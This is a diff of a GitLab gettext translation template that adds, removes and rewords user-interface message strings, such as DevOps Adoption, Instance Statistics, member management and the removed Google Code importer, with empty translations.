msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8984,6 +9229,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9002,6 +9250,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9462,9 +9779,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10167,6 +10499,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10554,6 +10889,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10632,6 +10970,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11148,6 +11498,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11187,12 +11540,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11488,7 +11850,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11614,12 +11976,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11644,9 +12000,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11692,9 +12045,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11779,6 +12129,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12295,6 +12645,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12538,15 +12894,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13375,6 +13722,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13524,9 +13874,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13668,6 +14015,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13799,9 +14143,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13832,6 +14173,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13865,6 +14209,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14162,9 +14503,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14187,73 +14525,79 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14481,6 +14846,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14505,6 +14873,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15463,6 +15858,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15490,9 +15888,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15523,9 +15918,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15760,6 +16137,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,16 +16426,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16118,7 +16492,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16130,7 +16504,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16178,6 +16552,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16535,6 +16936,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17089,6 +17493,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17290,7 +17694,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17386,6 +17790,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17769,7 +18182,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18025,9 +18441,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18211,9 +18624,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18268,6 +18681,9 @@ msgstr ""
msgid "Not found."
msgstr ""
